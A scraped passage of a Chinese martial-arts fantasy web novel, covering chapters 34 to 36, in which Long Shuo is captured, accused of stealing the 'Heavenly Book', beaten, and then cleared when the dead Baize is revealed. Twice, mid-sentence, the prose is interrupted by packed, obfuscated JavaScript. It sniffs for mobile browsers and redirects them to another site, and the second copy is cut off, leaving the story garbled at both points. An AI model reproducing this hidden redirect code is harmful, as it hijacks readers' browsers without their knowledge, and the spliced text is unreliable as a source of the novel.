“走稳点,小心我兄弟身上的伤!”龙烁厉声道。 丁松忍痛点头,额头上渗出几粒豆大的汗珠。 实际丁松大腿的伤势更为严重,此刻又添一个人的分量压在身上,不得不咬牙坚持。 龙烁胁迫着古辰跟在后面慢慢撤退。 然而,就在几人即将要到达守中堂的大门口时,龙烁忽然感到身上仿佛被压了无数铅块儿似的,身体一下子变得笨重非常。 他尝试着抬脚继续撤退,却感到有一股强大的阻力拦在身上以致根本迈不开腿! 古辰见龙烁突然行动放缓,低声问道:“怎么回事?” 龙烁一惊,顿时想起在城西树林里的那一群红衣人,赶忙说道:“是——简——” “秋”字还没说出口,三个小孩儿已经出现在几人面前。 正是西岭三恶少! 古辰一脸惊愕,不知道发生了什么! 简秋一边施法一边恳求:“龙大哥,请你放了他吧——” 人群之中有人大声喊道:“哇!快看,是缓行术!” “雪山神妪的缓行术,怎么这个小姑娘竟然会使!” “哈哈,你瞧那小子,他的动作慢得像乌龟!” 丁松立即拔剑出鞘,架在燕沐阳的脖颈之上大声吼道:“古师弟快跑!” 突然之间,一条巨大的黑色藤蔓从龙烁的背部闪出,迅速将他的身子牢牢捆住。 另一条藤蔓从他身后延展开来,如蟒蛇般直冲燕沐阳而去。 云飞月哈哈一笑:“小兄弟,你们逃不掉啦!” 龙烁二人被绑,众人欢呼雀跃,纷纷簇拥着他二人向上堂走去,留下古辰一人呆呆地愣在原地。 “古——!” 简秋脸色微红,不好意思直喊他的名字,关切地问:“你没事吧?” “刚刚是你?那个什么,缓行术?” “嗯!”简秋微微点头。 古辰哑然失笑,他万没想到简秋会突然出手,不禁埋怨道:“你跟来这里做甚?” “喂!你这是什么态度!”铭文斥道:“刚刚明明是我姐姐救了你,你连谢谢也不说一声!” 古辰欲哭无泪,心知她是为搭救自己性命,情急之下出手阻拦,自觉说她也不是不说她也不是,只得深深叹一口气道:“多事!” 说罢拂袖而去。 “你回来!快跟我姐姐道歉!”,铭文大叫道。 “铭文——”简秋拦下他:“算了!” “为什么算了?凭什么算了!姐姐,古辰这小子狗咬吕洞宾不识好人心,让我们来教训他一下!哥哥,咱们去把他的衣服扒光,让他当众出一出丑!” “不要——”简秋拦住他:“是我自己多管闲事,怨不得别人!” “呵,简直荒谬,荒天下之大谬!”铭文怒气难遏。 简秋一脸委屈,眼角流下豆大的泪珠。 铭文实在气不过,又不愿违背姐姐的意愿,拉起她的衣袖:“姐姐,我们走,咱们又不想要那《天书》,留在这里做甚!” “不行!” “为什么不行?”铭文不解。 “龙大哥是因我被捕,他若是受到伤害我绝不能见死不救,咱们先看看再说!” “姐姐,你总是这样好心肠,又有谁来关心过你!” 简秋正欲回答,却听南宫盈朗声问道:“你就是龙烁?”,于是赶紧拉着两个弟弟窜进人群之中。 此时龙烁和燕沐阳浑身被绑地结结实实地站在守中堂的中央。 龙烁看向燕沐阳,他此时仍是浑身无力,半睁着眼睛,神情漠然,似乎对这里发生的一切事情都漠不关心。 “不错,伯父,我就是龙烁!” 龙烁叫他一声伯父,还是希望他能够体察实情明辨是非。 “嗯!”,南宫盈微微一笑:“讲义气,又有胆量,我女儿果然好眼光!” “呵!”南宫夫人不屑道:“只可惜是虚有其表,他根本不会半点武功,刚才若不是古辰不小心崴到了脚,就凭他那点微末功夫,还能占得了便宜了?” “伯母你说的没错,实不相瞒,我的武功术法现在的确不行,不过说实话,我这次前来府上叨扰,一是为救我的兄弟,二就是想表明来意,我和红叶两情相悦,希望伯父伯母能够成全,日后我定当勤练术法,绝不会让你们失望!” 众人一阵哄笑,均觉得这小子是癞蛤蟆想吃天鹅肉。 一人讥讽道:“你现在身陷险境自身都难保,还想着娶南宫家的小姐为妻,做南宫老爷的乘龙快婿,简直太也不自量力啦,哈哈! 一人嘲笑道:“你小子别自作聪明啦,你以为这样说南宫老爷就会放了你吗?” 谢灵雨见众人与自己英雄所见略同,嘴角微勾,得意一笑。 “嗯!”南宫盈捋了捋胡须:“你有胆量在众人面前说明来意,足见你的诚意!但是你的兄弟偷了我侄儿的《天书》,如果你能让他将《天书》奉还,你二人的一切过错,我便可以既往不咎,至于你和叶儿的事——” 陆青微微侧过身子,仔细去听他师父的意思。 却听南宫盈道:“还需从长计议——” 龙烁心中一急,直言不讳:“《天书》不是被我沐阳兄拿走的!实不相瞒,其实是有人使出乱真易容术法冒充我兄弟去偷走了《天书》!” 净心对龙烁有救命之恩,龙烁有意庇护,并未直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300113|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出是谁偷了《天书》! 众人一片哗然。 有人抬头看向南宫夫人,暗想这里唯一会使乱真易容术的人便是南宫夫人,莫非是她? “放肆!”南宫夫人骂道:“难道你是说,是我偷走了《天书》吗?” “啊不是不是!” 龙烁想摆手,奈何双手被那鬼藤牢牢地绑住,只得态度虔诚地说道:“我不是说您,我是说一个小男孩,是他偷走了《天书》!” “胡说!”戴荣反驳:“乱真易容术法传女不传男,这是创术者齐若夷老前辈立下的规矩!” “是!”龙烁十分认同:“这规矩我也听过,但是世事无绝对,确实有个小男孩也学会了乱真易容术法,据我所知,这种法术并不需要多么强大的内力便可学成,因此会施此术的人可能并不在少数,我兄弟沐阳公子,他也会使!” 众人一阵唏嘘。 一人叫道:“你说他会使乱真易容术?那你让他施展一下,否则我们很难相信你!” 龙烁转头去问燕沐阳:“你现在双手被绑,又暂失内力,还能不能使乱真易容术法?” 闻声,燕沐阳轻轻点头。 “那你赶快将我变成别人的样子,证明给他们看看!” 燕沐阳微微摇头。 “啊?为什么?” 燕沐阳并不回答。 龙烁知道燕沐阳的脾气秉性,他不愿意做的事,哪怕天塌下来都不会改变他的主意,只得无奈叹道:“我兄弟他此刻,不愿意施展!” 众人哄然一笑。 “你这淫贼又来骗人!大家还不知道吧,这人不但色胆包天,而且还谎话连篇,他欺辱我师姐还死不承认,硬是要诬赖别人,简直好不要脸!” 龙烁定睛一看,竟又是那青丘派的吕师弟,无奈深深叹一口气:“我已经说过无数次了,你郦师姐是被那个采花大盗陈糠粟掳走的,是我们救了她,难道你们没有再去问她前因后果吗?” “呵,你还敢说,若不是你欺辱她在先,她又怎么会魂不守舍力不从心,后来被一只混沌吞入腹中呢!” “什么,你们郦师姐死了?” “哼!不但她死了,我童师妹为了救她,也不幸被那凶兽生生咬死,而这一切,皆是因你而起,你还她们命来!” 吕师弟拔剑便要冲将过来。 邓师兄拦住他:“师弟,你镇静些!” 龙烁心中一凛,连忙解释:“真的不是我,是陈糠粟,哦对了,我的胸前和胳膊的伤口就是被他划破的啊!” 邓师兄道:“你身上的伤口,是被我郦师妹的云水剑划出来的!我们赶到之时只有你二人和一个小和尚在场,也只有你身上有这剑伤!而你说的采花大盗,自始至终我们根本没见过!” “那个陈糠粟,他会隐身术的,确实是他拿了你们郦师姐的剑来刺伤了我!” “你还撒谎!”吕师弟愤然道:“就算真有其人,难道你是说,他早就预料到我们会来,所以故意用我郦师姐的剑把你刺伤,然后嫁祸给你吗?” “这个——”龙烁渐渐没了底气:“我若说,可能连陈糠粟他自己都没想到后面会发生这么多事,你们会信吗?” “呵!都到了这个时候,你还死不承认,真是嘴硬!” “我劝你还是不要狡辩了!”谢灵雨高声叫道:“《天书》就是被燕沐阳偷走的,是我亲眼所见,你们俩是一伙儿的,赶快交出来吧!” 龙烁被辩驳得哑口无言,心中开始忐忑不安。 “谢少庄主——”关武突然站出身来:“那《天书》只不过就是一块形状像书一样的石头而已,上面一个字也没有,别说他们根本不可能偷走,就算真的是他们拿了,现在交出来给你也毫无用处啊!” “哼!《天书》是我万兽山的宝贝,即使无用也不能落入贼人之手!” “你说谁是贼人?”张全亮怒喝:“昨日咱们在万兽山被凶兽围攻,沐阳公子护着咱们几个先行出山,他的武功如何,人品如何,咱们有目共睹,如果他要拿那《天书》,论人品,他绝不可能去偷,论武功,他又何必去偷呢?” “呵!沽名钓誉罢了!”谢灵雨冷冷地道:“这不是明摆着吗?他这是既想当婊子又要立牌坊!” “你小子他妈的放屁——”关武大怒,他抽出腰间的板斧便要上前,却被张全亮拦了下来。 “来呀,难道我怕你不成?”谢灵雨不服。 “各位英雄请息怒——” 温酌言将折扇拿在手中敲敲击数下,说道:“《天书》无字,说不定是需要用什么东西加以点化才会使上面的文字显现,沐阳公子,如果真的是你拿走了《天书》,不妨交出来让咱们大伙儿共同想想办法!再不济,我们合力去捉住那白泽一问便知!” 龙烁大喊道:“《天书》根本就是假的,是白泽放出假消息故意迷惑你们的!” 他已经确定白泽所说的《天书》便是通灵之术,而它又在临死之前将这术法传给了自己。他心知这件事万万不能告诉大家,否则看这群人的架势,把自己的脑袋削下来都有可能。 “呵!你觉得这里还有人会信你吗?”谢灵雨嘲笑道。 “就是!”,一人应道:“事实已经很清楚了,就是你二人拿走了《天书》,赶紧交出来吧,别磨磨蹭蹭的了!” 另一人道:“我瞧那张帮主说得在理,这里面说不定可能真的另有隐情!” 然而,大部分在场之人难辨是非,不置可否。 忽然间,一名年轻男子高声叫道:“我信他们——” 35.众矢之的 (下) 龙烁定睛一看,原来是在赤水潭被燕沐阳救起的那个姓魏的小道士,洛阳清风观的一名三代弟子。 那小道士向身旁一位长须道长躬身施礼:“师尊,赤水潭中,我们遇到了猛虎袭击,就是在他们的帮助下,我们才成功脱险的!这两位公子在万兽山行侠仗义,一定不是他们偷走《天书》的!” “嗯!”长须老道捋捋胡须:“我看,这两位年轻人也不似在说谎!” 相天歌阴阳怪气道:“玄机道长!莫非你要混淆是非来替他们解围?” “黑即是黑,白便是白,我只是助大家明辨是非!” “哼!”廖通不屑:“大家意见不一,又有谁能确定究竟孰是孰非?” “呵呵,不如让我来试试!” 胡媚儿突然闪出身来咯咯娇笑:“是真是假,我用勾魂术法一试便知!你们瞧我的厉害,呵呵……” 龙烁见她忽然闪身到自己面前,知道她要对自己施展勾魂术法,又想到刚才那条黑白王蛇被勾走魂魄时的丢人模样,不禁心中一阵恐慌,赶忙闭上眼睛不去看她。 “啧啧!”胡媚儿围着龙烁二人绕了两圈,媚声道:“在人群里看不清楚,近来一瞧,两位公子竟然都长得俊俏得很呢,呵呵!” 龙烁急道:“沐阳兄,这女人会妖术,不要看她的眼睛!” 燕沐阳紧闭双眼。 两少年双目紧闭,胡媚儿更加想入非非,伸出手来去摸龙烁的脸颊,捋他的头发。 “喂!”龙烁侧过头去:“你别动手动脚的——” “怎么,这位俊哥哥,你莫不是害怕了吧?”胡媚儿的手顺着龙烁的头发滑落到胸膛:“是不是怕你的谎言被揭穿?不然又怎的不敢看我?” 陆青提醒她:“大庭广众之下,请你自重些!” 胡媚儿咯咯娇笑,没有理会,她向龙烁道:“你还不赶快从实招来?” 龙烁深深叹一口气:“该说的我都已经说了,你还要我说什么?” “呵呵——说你想不想——嗯——想不想——呵呵——” 龙烁听那胡媚儿的声音甜得发腻,似是要说想不想跟她去做那男女之事,忙道:“不想不想——” 燕沐阳迷迷糊糊中听见那女子似是在勾引龙烁,不禁稍稍睁开眼去瞧她。 就只这么一瞬间,胡媚儿忽地朝燕沐阳眨眨眼,似在勾引,又似在调戏! “哈哈哈哈——”胡媚儿狂笑几声:“你别着急啊,我还没说完呢,难道你不想救你兄弟了?哈哈哈哈——” 龙烁大惊,忙转头去看燕沐阳,却见他此时双颊晕红,呼吸急促,眼神迷离,精神涣散,似是失了魂魄,知道他已经中了胡媚儿的勾魂术,大叫道“燕沐阳,燕沐阳,你醒醒,快醒醒啊——” 此时,燕沐阳感觉自己身轻如烟飘飘欲仙,较之刚才的头晕目眩天旋地转,反而舒服了些。 “俊哥哥,你放心,我又不会吃了他,呵呵,只要他把《天书》交出来,我就会放了他!” 胡媚儿转身:“云坛主,请你收了这位白衣公子身上的藤蔓,我让他把《天书》拿出来给咱——” “好!” 云飞月做个手势,燕沐阳身上的藤蔓便即四散而去。 身子失去支撑,燕沐阳瞬间瘫软在地。 “站起来——” 胡媚儿命令道。 龙烁见燕沐阳费尽力气却怎么也站起不来,双手强撑地面,他目不转睛地盯着胡媚儿看,似在等她过来。 胡媚儿走到燕沐阳面前:“我问什么,你答什么,知道吗?” 燕沐阳微微点头。 “我美不美?” 燕沐阳面无表情,却轻轻点头。 “你喜不喜欢?” 燕沐阳深吸一口气,又轻轻点头。 “臭娘们儿,别婆婆妈妈的了!”那山寨男子急道:“赶快让他交出《天书》!” “催什么?”胡媚儿骂道:“这位公子定力十足,恐怕一时间还不能任我摆布,若是换作你,这会儿早就已经脱光了衣服向我扑过来啦!” 龙烁一听,这才明白原来这勾魂术的作用与那陈糠粟的云汉牝牡散如出一辙,能够激发人的□□,只不过吃了云汉牝牡散的人知道自己在做什么,而中了勾魂术的人似乎不知道自己在做什么。 胡媚儿继续问燕沐阳:“我问你,《天书》是不是你偷的?” 燕沐阳微微摇头。 “不是你?那是他?”胡媚儿指着龙烁。 燕沐阳微微摇头。 “不是你们,那会是谁?” 龙烁本以为燕沐阳会说是净心,正欲阻拦,却听他轻轻说出两个字:“不——知——!” 胡媚儿看看龙烁,又道:“可是你兄弟说,是有人以乱真易容术法冒充你去偷走了《天书》,是不是?” 燕沐阳仍是摇头:“不——知——!” 胡媚儿怒喝:“你什么都不知道,那你知道什么?” 燕沐阳额头渗出许多汗珠,勉力道:“有人以——乱真易容术法——冒充龙烁——骗了我!” 众人听他回答的驴唇不对马嘴,以为他在故意打哈哈,不禁一阵哄然大笑。 有人嘲笑:“胡媚娘,看来你的勾魂术法对他不管用啊!你看他还在跟你绕弯子,人家现在还清醒得很呢,哈哈哈——” 龙烁见燕沐阳的神情举止异乎寻常,知道他此时脑袋已经成了一团糨糊,对于胡媚儿的问题,他也只是实话实说,至于没有亲眼看到的,他也不去妄加揣测,心下不禁暗暗钦佩燕沐阳的干净纯粹。 胡媚儿信以为真,真的认为燕沐阳已经破解自己的勾魂法术,现下是在故意跟自己周旋,对他心生怨恨。 燕沐阳汗如雨下,微微皱眉:“好热!” “热啊?”胡媚儿阴阳怪气:“热了就脱啊!把衣服脱了就不热了!” 燕沐阳微微点头,伸手去解衣服上的纽扣。 他费老大气力,终于解开胸口的衣衫,露出雪白的脖颈和坚实的胸膛。 眼见燕沐阳就要把衣衫全部脱下,众人都在等着看一出好戏,龙烁忙喊:“沐阳兄,不要再脱了!你清醒点,沐阳兄——燕沐阳——” 一个白衣人影从龙烁身旁闪过,挡在燕沐阳面前。 转瞬间,燕沐阳的衣衫已那人被整理得完好如初,而站在他身前的,是一个衣袂飘飘的白衣道人。 龙烁见他一尾拂尘拿在手中,正气凛然从容不迫,赫然便是了清道长! “娘——是你吗?” 燕沐阳眯起眼睛问。 “我是了清!沐阳,你怎么了?” 燕沐阳微微摇头,了清心中一急,站起身来将他护在身后,神威凛凛地向众人一一扫视,目光落到龙烁的身上。 “及时雨啊及时雨!”龙烁像是抓住了救命稻草:“沐阳兄中了勾魂术,现下已经神志不清,你赶紧带他离开——” “你是沐阳的朋友?” 龙烁心知了清道长的轻身功夫极为高深,一定能带燕沐阳逃离这里,忙催促:“对对,我是他兄弟,马厩就在东边不远处,你们赶快去骑马离开这里!” “好,那你呢?” “哎呀,你先别管我,你们赶紧走,不然一个都走不了!” “好!” 了清将拂尘轻轻一扬,削断龙烁身上的黑色藤蔓,旋即俯身将燕沐阳抱起,又向龙烁道:“待会儿有人过来捣乱,到时你再借机离开!保重!” 众人见这白衣道人全然不把大家放在眼里,不禁一阵骚动。 谢灵雨大喊:“放肆,你以为这里是你想来就来想走就走的吗?你们已经被包围了,一个也逃不了!你是谁,赶快报上名来!” 了清道长十分不屑,脚下轻点,又变成白影从人群中一闪而过,瞬间消失在夜色之中。 众人一阵惊愕,不知刚刚发生了什么。 一人大喊:“追啊,别让他们跑了!” 一些帮派子弟迅速追出,戴荣向南宫盈请命,也跟着追了出去。 眼见燕沐阳已经被救走,龙烁心中的一块大石头终于落了地,他本想趁乱逃跑,然而刚跑出两步,却被廖通一把抓住。 “说!”廖通将大刀架在龙烁脖子上问:“那人到底是谁?” “你是说那个白衣道人?” 龙烁觉得廖通刚才赢得并不光明正大,对他十分不屑,摇头道:“我不认识!” “妈的!你刚不是叫他及时雨吗?” “呵!”龙烁轻蔑一笑:“对呀,他及时出现救了沐阳公子,那不是及时雨吗?他又不是真的叫作及时雨!” “他妈的!”廖通怒喝:“你这小贼嘴里没一句实话,看来不给你点颜色看看你是不会说真话的了!” 他一掌将龙烁整个人击飞出去,见龙烁全无招架之力,嘲笑道:“我忘了,你根本不会武功,根本用不着老子亲自出马,莫的说我以大欺小恃强凌弱,来人,给我好好教训教训他!” 黑虎寨的几名小喽啰挤上前去将龙烁围起。 龙烁并无惧意,暗觉如果只是被这些小罗罗围攻,自己未必不能跟他们周旋一番。 他刚摆出一个备战姿势,却突然感觉肌肉变得僵硬如铁,身子竟直勾勾地定在了原地。 他心中一惊,瞥眼见到廖通正在笑盈盈地看着自己,显是在等着看好戏,知道自己中了他定身术的暗算,不禁大喊:“你好卑——” 一句话还没说完,那群小罗罗便争相开始对他拳打脚踢,边打边叫:“让你不老实,让你不老实,还不快点交出《天书》!” 龙烁腹背受到重创,一口怒气上不来下不去,不一会儿功夫便被打倒在地,口喷鲜血,却仍咬紧牙关一声不吭! 剧痛难当,正当他心中疑惑莫非就这么被他们打死了的时候,却听堂上一名男子和堂外一名女子同时喊道:“住手——” 堂外女子的声音大过堂上男子的声音。 “《天书》并未在他身上——” 龙烁此时已被打得鼻青脸肿,他眯起眼睛瞥见一名黄衣女子穿入人群来到自己面前。 便在此时,龙烁突然感到身子恢复了知觉,知道廖通定是害怕别人发现他偷施暗算,趁机解了他身上的定身术。 那女子将龙烁扶起身,龙烁这才看清那女子的面貌。 原来是郭小妹! 在她身后,郭氏三雄、于道一和孟子华几人抬着两个硕大的担架走入堂中。 “龙公子,你没事吧?”郭小妹问。 龙烁抹去嘴角鲜血,愤愤摇头。 众人见担架上面盖有白布,其中一块渗出暗红色的液体,另一块渗出浅蓝色的液体,不禁好奇上面抬的是什么东西! 一人大喊:“他们是不是中了诛心术死的?” 古辰回应:“在下已经查明,诛心术并未重现江湖,那些年轻男子所中的乃是星月宫的索心术,虽然死状相近,但是中术之后一疼一痒,致死时间一短一长,二者并非同一种法术!” 众人一阵惊叹。 一人叹道:“我早就听说星月宫的人到处劫掠年轻男子,却很少有人叛逃,因为叛逃之人将会受到生不如死的残酷刑罚,莫非这残酷刑罚便是你说的索心术?” 另一人道:“有可能,咱们见到的那些惨死之人,很可能就是从星月宫里逃跑的叛徒!” 又一人道:“这星月宫本来就是邪教,星月宫宫主洪山雪对自己的属下要杀便杀要罚便罚,是江湖上出了名的恶霸!” 一人道:“你们是说这两人中了索心术?” “不是!”郭小妹摇头:“此事与索心术无关!” 她走到两个单架之间,伸手将它们上面的白布掀了开来。 南宫盈突然瞪大眼睛。龙烁更是背上生出一身冷汗。 原来这两具尸体,一个是神兽土蝼,而另一个,竟是白泽! 他从胸口的衣袋中取出那只装有浅蓝色液体的小瓷瓶,暗道:“原来这里面装的是白泽之血!” “呦——”那醉酒的壮士大喊:“这两只羊怎么长得如此彪悍!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304533|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这哪是羊啊!” 关武指着右边这具尸体叫道:“这,这是白泽啊,它怎么会突然死了?” 郭小妹向南宫盈道:“二哥,我们这几天一直在搜寻吃人猛兽,今晚在城西的树林里找到了它的尸体,就是这只土蝼,还有那只,你看它是不是白泽?” “是!”谢灵雨抢道:“是谁杀了它?” “不知!”郭小妹道:“我们找到它时,它就已经死了!这两只猛兽的尸体相距不远,我们推测它们可能是被同一伙人所杀!” 廖通问:“你刚才为什么说《天书》不在那个臭小子身上?” 郭小妹道:“我们找到白泽的尸体时,碰到了一只会说话的小狌狌——” “飞飞?”龙烁一惊,暗想:“它怎么也跑出来了!啊,是了,定是白泽出山的时候它跟在后面一齐跑出来了!” 只听郭小妹继续道:“那小狌狌说咱们拿到的《天书》是假的,真正的《天书》已经被杀掉白泽的人盗走了!” “狌狌会讲人话,这我略有耳闻!”温酌言道:“但是这白泽应该在万兽山中,怎么突然会死在了城西的树林里?万兽山被困兽网重重包围,它又是怎么跑出来的呢?” “哼!”胡媚儿不屑:“困兽网又怎么样,那只土蝼不是也跑出来了?” 盖天虎道:“莫不是他谢亭韵搞的鬼吧?” “你胡说——”谢灵雨怒道:“它们绝对不是被我父亲放出来的!” “不错!”郭伯举道:“猎奇之争开始时,我们听说有山中的猛兽跑出来吃人,我大哥他绝不相信,因此才派我们出去打探消息捉拿真凶,我们都没想到原来是这只土蝼在作祟!” 龙烁知道白泽曾说过困兽网是根本困不住它的,而那只土蝼,是净心之前误入万兽山时,以矩纸穿行术法自卫无意中放出山的。 “莫非它们是跟踪咱们跑出来的?”温酌言十分疑惑:“那杀死它们的究竟是什么人?” 郭仲孝叹道:“只可惜我们晚到了一步,没有看到凶手!” 龙烁暗想,青龙星君楚作尘诛杀土蝼那是为民除害,而朱雀星君处处想着跟楚作尘作对,误把白泽当成土蝼将其杀害。白泽,实际是被误杀的! 忽听一名小女孩大声喊道:“我知道它们是被谁杀死的!” 众人齐向那女孩看去。 龙烁发现说话之人竟是简秋,不禁又吓出一身冷汗,他心想:“刚刚我差点就救走沐阳兄了,却突然中了她的缓行术功亏一篑!现在她莫不是又要诬陷于我,说是我杀死白泽的吧?那样的话我今晚真的要成为众矢之的了!” 只听简秋坚定道:“是叶子规——” “对!”袁起补充:“我三人亲眼所见,他带着十几个手下乱剑刺死了它!” 闻声,龙烁大大松了口气。 廖通问:“叶子规是谁?” 云飞月解释:“就是星月宫的朱雀星君,南方七部的首领!” “噢!”廖通骂道:“就是那个男不男女不女,整日里穿着一身红衣到处掳掠年轻男子的那个臭小子啊?这小子在咱们的地盘上胡乱抓人,我早就看他不顺眼啦!” “哼!”胡媚儿讥讽:“看不顺眼又能怎么样,人家会使索心术,你又能打得过吗?” 相天歌冷冷地道:“据我所知,那叶子规的独门绝技乃是吸星术,能够聚集周围一切利器为己所用,现下又让他夺去了《天书》,若是再让他练成了什么神奇的法术,恐怕这天下早晚会成了他星月宫的天下!” 盖天虎道:“是啊,那星月宫乃是藏污纳垢之地,专门收容各种邪门歪道,是江湖上的一大祸害,若是让他们成为武林霸主,那还会有咱们的好日子过?” “对,咱们不能坐以待毙,应该主动出击,一起去踏平他们星月宫!”廖通道。 众人应喝:“一起踏平星月宫!”“一起踏平星月宫!” “众位英雄所言极是!”温酌言向南宫盈道:“南宫老爷,既然现在真相已经大白,不如咱们兵合一处将打一家,共同去征讨星月宫,诛杀叶子规,夺回《天书》!也算对死去的兄弟们有所交代,不知你意下如何?” “嗯!”南宫盈微微点头:“锄奸扶弱,造福世人,本就是咱们武林侠士义不容辞的责任,只是我实在不知那星月宫究竟在什么地方!” 玄机道长朗声道:“这星月宫是坐落在我们洛阳城白云山的青晷峰上的!” 众人一阵唏嘘! “玄机道长,你又如何得知?”温酌言问。 “二十年前,在青晷峰下的野竹林中,贫道时常见到一些年轻男子的尸骸,为了一探究竟,我一路沿山向上,竟不小心误入一座宫殿!这宫殿甚大,我在里面迷了路,后来被数十名年轻男子围攻,好在当时他们宫主和四位护法都不在宫中,贫道这才有侥幸逃了出来!后来我才知道,原来那座宫殿就是星月宫!” 他回忆道:“据说他们的宫主洪山雪心狠手辣无恶不作,生平最大的嗜好就是虐杀年轻男子,我在野竹林中见到的那些年轻男子的尸骨,都是被他以毒辣手段折磨致死的!据我所知,目前星月宫的四位护法星君已剩其三,对咱们来说也是件好事!各位英雄如要去征讨星月宫,贫道可以带路!” “好哇!”南宫盈道:“玄机道长大义为公,如能带领我们直捣黄龙,我南宫盈自当鞠躬尽瘁死而后已,十月初一,咱们齐聚白云山,直取星月宫!” 众人一阵拍手叫好。 几人应声喊道:“南宫老爷英明!”“南宫老爷大仁大义,我们此行必定胜利!”“诛杀叶子规,踏平星月宫!”“踏平星月宫,为死去的人报仇雪恨!” 龙烁不禁瞪大眼睛,暗想这些江湖人士先是要合力讨伐谢亭韵,后来是集体逼问沐阳兄,沐阳兄被了清道长救走之后又来逼问我,现在却又将矛头指向星月宫,只一晚上的功夫就一连调转了好几个方向,不禁大为感叹! 他不明白这些人为何总喜欢打打杀杀,为一个没大用处的通灵之术也能争得死去活来,却不知他们究竟是为了什么! 36.错点鸳鸯 龙烁想尽快远离这里,踉踉跄跄地往门外走去,却听廖通突然喊道:“喂,小子,你叫龙烁是吧,刚才爷不小心误伤了你,你不用放在心上——” 龙烁暗自腹诽:“刚刚你的那些手下把我往死里打,现在你一句“不用放在心上”就算了?” “喂,姓龙的!”,盖天虎拦在龙烁面前:“我看你小子有股韧劲,不如跟着我们一起去围剿星月宫!” 龙烁冷笑一声,不去理会,继续朝门外走去。 忽听背后嗤的一声轻响,上堂中传来一阵惊呼,却是古辰和陆青。 龙烁忙一歪头,一支雕翎羽箭竟从他耳旁横飞而过,直直地飞出守中堂的大门。 他回头一看,却是谢灵雨在背后暗放冷箭! “龙烁,你别走,我要跟你单打独斗!” 龙烁气从中来,本想破口大骂:“背后偷袭,你好卑鄙!”,却又想起万兽山中他和燕沐阳被举父袭击,幸好谢灵雨及时出现,才为他二人解了燃眉之急,话到嘴边,又强自咽了回去,他闷哼一声,转身又朝门口走去。 “龙烁,你给我站住!” 谢灵雨正欲上前,忽听“嗖”的一声轻响,刚刚飞出门外的那支雕翎羽箭竟又原路折了回来。 他连忙举弓挡隔,却被逼得后退数步,直至撞到后面的墙壁这才稳住了身子。 他抬头一看,却见一个仙风道骨、年过花甲的白发老头闪进大堂。 这老头高声叫道:“刚是谁在喊龙烁的名字,我的好女婿在这里吗?” 原来是徐若谷。 徐若谷围着众人转了一圈也没有找到龙烁,放声喊道:“好女婿,你在不在这里?” “我在!”龙烁大叫。 徐若谷转身一看,哇地惊叫:“你怎么被打成猪头啦?是谁打你,是不是刚才吼你的那个小子?”,他指着谢灵雨问。 龙烁不想再多生事端,也不希望徐若谷因为自己与众人结怨,忙摇头:“啊,不是不是,呃,是我自己不小心摔了一跤!” “嘿呀!哈哈,摔一跤就成变猪头啦,你真是个人才啊,哈哈!” 徐若谷连拍大腿狂笑不止。 廖通问:“老头,你是这姓龙的小子的岳父?” “啊对呀对呀!”徐若谷不耐烦地招招手,又向龙烁道:“啊对啦,好女婿,你有没有见到一个白衣道人,这小子轻功厉害得很,竟然赢了我,我不服,要再跟他比试!” 龙烁一怔,知道他说的是了清道长,暗想他救走沐阳兄,此时不知是否已经找到落脚的地方,沐阳兄需要静养休息,绝不能引徐前辈过去打扰,于是狠狠摇头。 “噢!”,徐若谷稍感失落:“哦对啦,你到底有没有找到我的女儿啊!” “呃,还没有,徐前辈,我这就出去找,找到了我喊你啊!”龙烁说着便要溜走。 “哎呀,这里这么多人,我先找找看,万一她也跟你一样,摔一跤变成猪头了呢!哈哈,你等我!” 徐若谷深吸一口气,肚子突然鼓成皮球,随即放声叫道:“徐——素——你——在——不——在——这——里——” 众人耳膜被震得疼痛难当,纷纷捂起耳朵大叫:“别喊啦!”“快停下!” 龙烁同样捂着耳朵大喊:“徐前辈,别喊了,您的女儿确实没在这里,在的话我早就看到啦!” 简秋忽然闪出身来问:“徐素是您的女儿?” 徐若谷终于停下道:“对呀对呀,你见到她啦?她在哪里呀?” “她,她已经死了!” 简秋忽地流下泪来。 徐若谷愣在原地,如被雷劈。 “不可能,你胡说——” “我没胡说,她十几年前就已经死了!” “你胡说!我女儿怎么可能死了,你胡说!”徐若谷一把抓住简秋的肩膀,将她举过头顶呵斥:“你这女娃娃胡乱说话,看我不教训你——” 简秋吓得连连尖叫。 铭文扑上前来牢牢地抱住徐若谷的大腿:“徐爷爷,你快放下我姐姐!” 袁起大喝一声:“徐爷爷,她是您的外孙女!” 众人莫名其妙看着他们,龙烁惊讶得合不拢嘴。 “你说什么?”徐若谷问。 袁起道:“她是徐素阿姨的女儿!” 徐若谷忙将简秋放下来问:“你,你是我女儿的女儿?” “是!” 徐若谷不敢相信:“我,我女儿,她死了?她为什么死了?” “我娘她是患病死的!” “患病死的?她患了什么病?” 简秋摇头:“我听人说,她患的可能是心病,具体是什么心病,我不得而知,那个时候我才只有几岁!” “心病,她会有什么心病?”徐若谷百思不得其解,他沉默片刻,忽然不耐烦地大吼:“哎呀,我已经够烦啦,你就别在这里到处乱窜啦——” 此时周围十分安静,众人怔怔地瞧着他,均不知他说这话是什么意思! “哎呀,难道你要让我再说一遍?我现下没有心情跟你玩躲猫猫!” 徐若谷从怀中抽出七彩云霄笔向东北方向狂甩,一丛七彩斑斓的墨水从画笔的尖头处喷薄而出,直冲温酌言袭去。 温酌言大惊,连忙打开折扇护住面门。 